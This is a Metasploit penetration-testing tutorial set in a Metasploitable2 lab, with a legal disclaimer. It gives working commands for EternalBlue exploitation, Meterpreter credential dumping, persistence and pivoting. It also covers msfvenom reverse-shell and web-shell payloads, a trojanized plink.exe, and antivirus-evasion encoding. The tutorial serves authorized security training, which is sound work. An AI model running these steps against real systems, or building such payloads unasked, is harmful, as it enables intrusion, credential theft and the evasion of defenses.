TL;DR
Metasploit Framework is the world's most widely used open-source penetration testing platform. This tutorial walks you through the complete ethical hacking lifecycle using Metasploit: setting up a safe lab with Metasploitable2, running reconnaissance with db_nmap and auxiliary scanners, searching and selecting exploits by CVE, configuring and launching payloads, working with Meterpreter sessions, escalating privileges, pivoting through internal networks, generating standalone payloads with msfvenom, and writing a professional penetration testing report. Everything covered here is for authorized testing and CTF environments only.
Legal Disclaimer
Read this before proceeding. Using Metasploit or any exploitation tool against systems you do not own or have explicit written permission to test is illegal in virtually every jurisdiction worldwide. Unauthorized access violates laws including the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act in the United Kingdom, and equivalent legislation in most other countries.
This tutorial exists solely to help security professionals, students, and CTF participants develop defensive awareness and authorized testing skills. All examples use an intentionally vulnerable virtual machine (Metasploitable2) running in an isolated local network. Before conducting any penetration test on real infrastructure — even your own employer's — obtain a signed Rules of Engagement (RoE) document that specifies scope, permitted techniques, and testing windows.
If you are unsure whether a test is authorized, do not proceed.
What Is Metasploit Framework?
Metasploit Framework (MSF) is an open-source project maintained by Rapid7 that provides a unified platform for developing, testing, and executing exploits. First released by HD Moore in 2003 and acquired by Rapid7 in 2009, it has grown into an ecosystem with more than 2,300 exploit modules and thousands of auxiliary and post-exploitation modules.
Core Architecture
Metasploit is organized around a modular design. Understanding the module types is essential before you touch msfconsole.
Exploits are modules that take advantage of a specific vulnerability in a target system. Each exploit carries a rank: Excellent, Great, Good, Normal, Average, Low, or Manual. Higher ranks indicate a more reliable exploit with fewer side effects.
Payloads are the code that runs on the target after a successful exploit. There are three payload families:
- Singles — self-contained payloads that perform one action (e.g., add a user) and require no follow-up communication.
- Stagers — small payloads that establish a channel and download a larger stage from the attacker.
- Stages — feature-rich payloads (such as Meterpreter) delivered by a stager.
Auxiliaries are modules that do not exploit a vulnerability but support the engagement: port scanners, service version detectors, brute-force tools, fuzzing harnesses, and protocol analyzers.
Post-exploitation modules run after a session is established. They harvest credentials, enumerate the local system, escalate privileges, and establish persistence.
Encoders transform payloads to avoid signature-based detection. NOPs (No-Operation sleds) pad payloads for alignment. Evasion modules build evasive executables that bypass common endpoint defenses.
All of these live under a consistent directory tree in /usr/share/metasploit-framework/modules/ and are loaded dynamically at runtime.
Installing Metasploit
Kali Linux (Pre-installed)
Metasploit ships with Kali Linux and is kept current through the apt package manager. To verify your version and update:
sudo apt update && sudo apt full-upgrade -y
msfconsole --version
Ubuntu / Debian
Rapid7 provides an official install script that adds their package repository and GPG key:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
> msfinstall
chmod 755 msfinstall
sudo ./msfinstall
After installation, run msfconsole once to initialize the database and configuration directory at ~/.msf4/.
Arch Linux / Manjaro
yay -S metasploit
Keeping Metasploit Updated
Regardless of distribution, keep the framework current because new modules and CVE coverage are added regularly:
sudo apt update && sudo apt install --only-upgrade metasploit-framework # Debian/Ubuntu/Kali
msfupdate # built-in updater (legacy)
msfconsole Basics
msfconsole is the primary interface for Metasploit. Launch it with:
sudo msfconsole
The sudo is required for operations that bind to privileged ports or interact with raw sockets.
Essential Commands
| Command | Purpose |
|---|---|
help | List all available commands with brief descriptions |
search <term> | Search modules by name, CVE, platform, or author |
use <module> | Load a module into the active context |
info | Display full documentation for the active module |
show options | List configurable parameters for the active module |
set <OPTION> <value> | Set a module option |
setg <OPTION> <value> | Set a global option that persists across modules |
unset <OPTION> | Clear a previously set option |
run / exploit | Execute the active module |
back | Exit the current module context |
sessions | List active sessions |
sessions -i <id> | Interact with a specific session |
jobs | List background jobs |
exit | Quit msfconsole |
Searching Effectively
msf6 > search type:exploit platform:linux rank:excellent cve:2021
msf6 > search name:eternalblue
msf6 > search author:hdm auxiliary
The search command supports multiple filters combined in a single query. Results display the module path, disclosure date, rank, and a brief description.
Database Setup: msfdb and Workspaces
Metasploit uses a PostgreSQL database to store hosts, services, vulnerabilities, credentials, and loot discovered during an engagement. Without the database, features like db_nmap and hosts are unavailable.
Initialize the Database
sudo msfdb init
sudo msfconsole
msf6 > db_status
You should see: [*] Connected to msf. Connection type: postgresql.
Workspace Management
Workspaces let you separate data from different engagements cleanly.
msf6 > workspace # list all workspaces
msf6 > workspace -a client_acme # create a new workspace
msf6 > workspace client_acme # switch to it
msf6 > workspace -d old_project # delete a workspace
Create a dedicated workspace for every engagement before running any scans. This prevents host and service records from different clients from commingling.
Reviewing Stored Data
msf6 > hosts # list all discovered hosts
msf6 > services # list all discovered services
msf6 > vulns # list confirmed vulnerabilities
msf6 > creds # list captured credentials
msf6 > loot # list downloaded files and hashes
Reconnaissance with Metasploit
Effective recon is the difference between a focused, low-noise engagement and noisy shotgun scanning that alerts defenders and wastes time.
db_nmap: Integrated Port Scanning
db_nmap wraps the Nmap binary and automatically imports results into the active workspace database:
msf6 > db_nmap -sV -sC -O -T4 --open 192.168.56.101
Common flags:
-sV— service version detection-sC— default script scan (NSE)-O— OS fingerprinting (requires root)-T4— aggressive timing--open— show only open ports
After the scan completes, run hosts and services to confirm the data was imported.
Auxiliary Scanner Modules
Metasploit's auxiliary scanner modules are purpose-built probes for specific services. They integrate directly with the database and are often faster and more targeted than running Nmap scripts manually.
SMB Version Detection:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.56.0/24
msf6 auxiliary(smb_version) > set THREADS 10
msf6 auxiliary(smb_version) > run
SSH Login Brute Force:
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.56.101
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(ssh_login) > run
HTTP Directory Enumeration:
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(dir_scanner) > set RHOSTS 192.168.56.101
msf6 auxiliary(dir_scanner) > set THREADS 20
msf6 auxiliary(dir_scanner) > run
Other useful auxiliary scanners include portscan/tcp, ftp/anonymous, vnc/vnc_login, mysql/mysql_version, and rdp/rdp_scanner.
Finding and Selecting Exploits
Searching by CVE
msf6 > search cve:2017-0144
CVE-2017-0144 is EternalBlue, the SMB vulnerability exploited by WannaCry. The search returns the module path exploit/windows/smb/ms17_010_eternalblue.
Evaluating Module Rank and Reliability
Before using an exploit, check its rank and read its full documentation:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > info
The info output displays rank, reliability notes, required conditions, references, and all available options. Pay attention to the Check line — if the module supports a safe check (check command), use it before running the full exploit.
Running a Pre-Exploit Check
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.101
msf6 exploit(ms17_010_eternalblue) > check
A safe check probes the target without triggering the actual exploit. It tells you whether the target appears vulnerable. Not all modules implement this, but use it whenever available.
Configuring an Exploit
Once you have selected an exploit, configure it fully before running.
Key Options
msf6 exploit(ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes Target address(es)
RPORT 445 yes Target port
...
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes Attacker IP
LPORT 4444 yes Attacker port
- RHOSTS — target IP, CIDR range, or file path (
file:/tmp/targets.txt) - RPORT — target port (usually pre-set by the module)
- LHOST — your machine's IP that the target will connect back to (for reverse payloads)
- LPORT — the port your listener will bind on
Selecting a Payload
msf6 exploit(ms17_010_eternalblue) > show payloads
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
For Linux targets use linux/x64/meterpreter/reverse_tcp. For situations where only HTTP/S egress is allowed, use windows/x64/meterpreter/reverse_https.
Setting All Options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.101
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.1
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > run
Use run -j to launch the exploit as a background job, allowing you to continue using the console while waiting for the session.
Meterpreter: Your Post-Exploitation Shell
Meterpreter is an advanced, in-memory payload that communicates over an encrypted channel. It leaves no files on disk by default, making it stealthier than a plain shell.
Session Management
msf6 > sessions -l # list all active sessions
msf6 > sessions -i 1 # interact with session 1
msf6 > sessions -b 1 # background session 1
msf6 > sessions -k 1 # kill session 1
Core Meterpreter Commands
meterpreter > sysinfo # OS, hostname, architecture
meterpreter > getuid # current user context
meterpreter > getpid # current process ID
meterpreter > ps # list running processes
meterpreter > migrate <PID> # migrate into another process
meterpreter > shell # drop to a native OS shell
meterpreter > exit # return to msfconsole
File System Operations
meterpreter > pwd # print working directory
meterpreter > ls # list directory contents
meterpreter > cd C:\\Users # change directory
meterpreter > download sam.hive /tmp/sam.hive # pull a file
meterpreter > upload /tmp/tool.exe C:\\Temp\\ # push a file
meterpreter > search -f "*.conf" # search for files by name
Credential Harvesting
meterpreter > hashdump # dump Windows SAM hashes (requires SYSTEM)
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds
hashdump returns NTLM hashes in the format username:RID:LM_hash:NT_hash. These can be passed directly in pass-the-hash attacks or cracked offline with Hashcat.
Post-Exploitation Modules
Post-exploitation is where you demonstrate business impact and collect evidence for your report.
Privilege Escalation
Check current privileges first:
meterpreter > getuid
meterpreter > getsystem # attempt automated privilege escalation
getsystem tries several named pipe impersonation and token duplication techniques. If it fails, use a dedicated local privilege escalation module:
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
The suggester scans the active session and recommends applicable local exploit modules. Review each suggestion, confirm applicability, and run the most reliable one.
Persistence
Windows scheduled task:
msf6 > use post/windows/manage/persistence_exe
msf6 post(persistence_exe) > set SESSION 1
msf6 post(persistence_exe) > set STARTUP SCHEDULER
msf6 post(persistence_exe) > run
Linux cron-based persistence:
msf6 > use post/linux/manage/cron_persistence
msf6 post(cron_persistence) > set SESSION 1
msf6 post(cron_persistence) > run
Document every persistence mechanism you install in your notes. You are responsible for removing all artifacts when the engagement ends.
Situational Awareness
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_shares
meterpreter > run post/windows/gather/enum_applications
meterpreter > run post/multi/gather/env
Pivoting Through Networks
A compromised host on a segmented network is a launchpad for reaching systems that are otherwise inaccessible from the attacker machine.
Adding a Route
Once you have a session on a pivot host, add a route through it:
msf6 > route add 10.10.10.0/24 1 # route subnet through session 1
msf6 > route print # verify the routing table
All subsequent modules that target 10.10.10.0/24 will automatically use the pivot session as a relay.
SOCKS Proxy for External Tools
To use tools outside Metasploit (Nmap, Curl, web browser) through the pivot:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
Then configure /etc/proxychains4.conf to use socks5 127.0.0.1 1080 and prefix external commands with proxychains:
proxychains nmap -sT -Pn -p 80,443,22 10.10.10.50
Port Forwarding
Forward a specific remote port to a local port:
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50
This maps localhost:3389 on the attacker machine to 10.10.10.50:3389 through the Meterpreter session, enabling an RDP connection to an otherwise unreachable host.
Generating Payloads with msfvenom
msfvenom is the standalone payload generator and encoder. It replaces the older msfpayload and msfencode tools.
Basic Reverse Shell Executables
Windows x64 reverse TCP shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f exe -o shell.exe
Linux ELF reverse shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f elf -o shell.elf
chmod +x shell.elf
Python payload (cross-platform):
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f raw -o shell.py
Web Shells
# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f raw -o shell.php
# JSP web shell (Tomcat/JBoss)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-f raw -o shell.jsp
Starting a Multi/Handler Listener
After delivering a payload, set up a listener to catch the incoming connection:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j
The -j flag runs the handler as a background job so the console remains usable.
Evading Basic Detection (Authorized Testing Only)
Modern endpoint detection and response (EDR) solutions detect well-known Metasploit signatures. During authorized red team engagements, evaluating whether defenses actually catch the payload is part of the assessment scope.
Encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-e x64/xor_dynamic -i 10 \
-f exe -o encoded_shell.exe
The -e flag selects an encoder; -i specifies the number of encoding iterations. Encoding alone is rarely sufficient against modern AV but reduces detection against legacy signature-based scanners.
Template Injection
Embedding the payload into a legitimate binary reduces suspicion during social engineering tests:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.1 LPORT=4444 \
-x /usr/share/windows-binaries/plink.exe \
-k -f exe -o trojanized_plink.exe
Using Evasion Modules
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(windows_defender_exe) > set payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows_defender_exe) > set LHOST 192.168.56.1
msf6 evasion(windows_defender_exe) > run
Always test generated payloads against the specific AV/EDR deployed in the environment, using an offline or isolated test instance — never upload payloads to public sandboxes like VirusTotal during an active engagement, as this leaks your techniques and may alert the client.
Writing a Professional Penetration Testing Report
The report is the deliverable that justifies the engagement and drives remediation. A technically brilliant test that produces a poorly written report has limited value to the client.
Report Structure
1. Executive Summary Written for non-technical stakeholders. Summarize the overall risk posture, the most critical findings, and the business impact in plain language. Avoid jargon. Include a risk rating (Critical / High / Medium / Low / Informational) with a brief rationale.
2. Scope and Methodology Define exactly which systems, IP ranges, and time windows were in scope. Describe the methodology (e.g., PTES, OWASP, NIST SP 800-115). List tools used, including Metasploit version and key modules.
3. Findings Each finding gets its own subsection with: - Title — concise description (e.g., "SMB Remote Code Execution via EternalBlue — CVE-2017-0144") - Risk Rating — CVSS base score and qualitative rating - Affected Systems — IP addresses, hostnames, service versions - Description — what the vulnerability is and why it exists - Evidence — sanitized screenshots, Metasploit session output, hashdump excerpts - Impact — what an attacker could achieve (full system compromise, lateral movement, data exfiltration) - Remediation — specific, actionable steps (patch KB, configuration change, compensating control) - References — CVE link, vendor advisory, CIS benchmark
4. Attack Narrative A chronological walkthrough of the engagement: initial access, lateral movement, privilege escalation, and objectives achieved. This helps the blue team understand the attacker's path and prioritize detective controls.
5. Remediation Roadmap Prioritized list of all findings with estimated remediation effort and recommended timeline. Group by risk rating and owner (infrastructure, application, identity teams).
6. Appendices Raw tool output, full port scan results, payload hashes, and methodology references.
Documenting Metasploit Evidence
Capture session output using spool:
msf6 > spool /tmp/engagement_log.txt
This writes all console output to a file for later inclusion in the report. Supplement with timestamped screenshots for each exploitation step.
In the report, never include actual live credentials, hashes, or sensitive data in plain text beyond what is necessary to demonstrate the finding. Redact or truncate where appropriate, and handle the report document as confidential material with the same care as the systems you tested.
Practice Safely: Metasploitable2 Lab Setup
Metasploitable2 is an intentionally vulnerable Linux virtual machine designed by Rapid7 for practicing Metasploit. It is the canonical safe target for everything in this tutorial.
Lab Requirements
- Host machine: At least 8 GB RAM, 40 GB free disk
- Hypervisor: VirtualBox (free) or VMware Workstation Player (free for personal use)
- Attacker VM: Kali Linux (latest release)
- Target VM: Metasploitable2
Network Isolation
Configure both VMs to use a Host-Only network adapter in VirtualBox (File > Host Network Manager > Create). This creates an isolated subnet (typically 192.168.56.0/24) with no routing to the internet or your production LAN. The Metasploitable2 VM will never be exposed to external networks.
Setting Up Metasploitable2
- Download the Metasploitable2 OVA from the official Rapid7 / SourceForge mirror.
- Import into VirtualBox:
File > Import Appliance. - Set the network adapter to Host-Only.
- Boot the VM; default credentials are
msfadmin:msfadmin. - Confirm the IP:
ip addr showinside the VM, or rundb_nmapfrom Kali.
Verifying the Lab
From Kali, confirm connectivity:
ping 192.168.56.101 # replace with Metasploitable2's actual IP
nmap -sV 192.168.56.101 # confirm services are visible
You should see a large number of open ports (21, 22, 23, 25, 80, 139, 445, 3306, 5432, 8180, and many more), each running a deliberately vulnerable service version.
Sample Beginner Exercises
- Exploit
vsftpd 2.3.4backdoor:exploit/unix/ftp/vsftpd_234_backdoor - Exploit
UnrealIRCd 3.2.8.1backdoor:exploit/unix/irc/unreal_ircd_3281_backdoor - Exploit
Samba usermap_script:exploit/multi/samba/usermap_script - Exploit
distccremote execution:exploit/unix/misc/distcc_exec - Exploit
PHP CGI argument injection:exploit/multi/http/php_cgi_arg_injection
Each of these exercises a different part of the Metasploit workflow and a different class of vulnerability (backdoor, command injection, misconfiguration).
FAQ
Q: Is Metasploit legal to use? A: Metasploit itself is legal software. Using it against systems you own or have written permission to test is legal. Using it against systems without authorization is a criminal offense in most countries.
Q: What is the difference between Metasploit Framework and Metasploit Pro? A: Metasploit Framework is free, open-source, and console-driven. Metasploit Pro is a commercial product from Rapid7 that adds a web UI, automated reporting, phishing campaign management, and enterprise workflow features. Everything in this tutorial applies to the free Framework.
Q: Does Metasploit work against modern, fully patched systems? A: Rarely through direct exploitation. Modern patched systems require chaining misconfigurations, weak credentials, or social engineering rather than a single known CVE. Metasploit's auxiliary and post-exploitation modules remain valuable even when exploit modules do not apply.
Q: Can Metasploit bypass modern EDR? A: Out-of-the-box Metasploit payloads are widely detected by modern EDR. Serious red team engagements require custom C2 frameworks, reflective DLL injection techniques, and significant evasion engineering beyond what Metasploit provides natively. This tutorial's evasion section covers the basics for assessing legacy or lightly defended environments.
Q: What certifications use Metasploit? A: OSCP (Offensive Security Certified Professional) permits Metasploit for one machine during the exam. eJPT (eLearnSecurity Junior Penetration Tester) and PNPT (Practical Network Penetration Tester) both use Metasploit extensively in their curricula.
Q: How do I update Metasploit's module database? A: On Kali, sudo apt update && sudo apt upgrade metasploit-framework. The module database is part of the package and does not require a separate update command beyond the system package manager.
Q: Can I use Metasploit on Windows? A: Yes. Rapid7 provides a Windows installer. Performance and compatibility are generally better on Linux, and most real-world penetration testing is conducted from a Kali or Parrot OS environment.
Sources
- Rapid7 Metasploit Documentation: https://docs.metasploit.com/
- Metasploit Unleashed (Offensive Security free course): https://www.offsec.com/metasploit-unleashed/
- NIST SP 800-115 — Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
- CVE-2017-0144 (EternalBlue) NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2017-0144
- Metasploitable2 Download: https://sourceforge.net/projects/metasploitable/
- Rapid7 Vulnerability & Exploit Database: https://www.rapid7.com/db/
- Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). Metasploit: The Penetration Tester's Guide. No Starch Press.
- OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/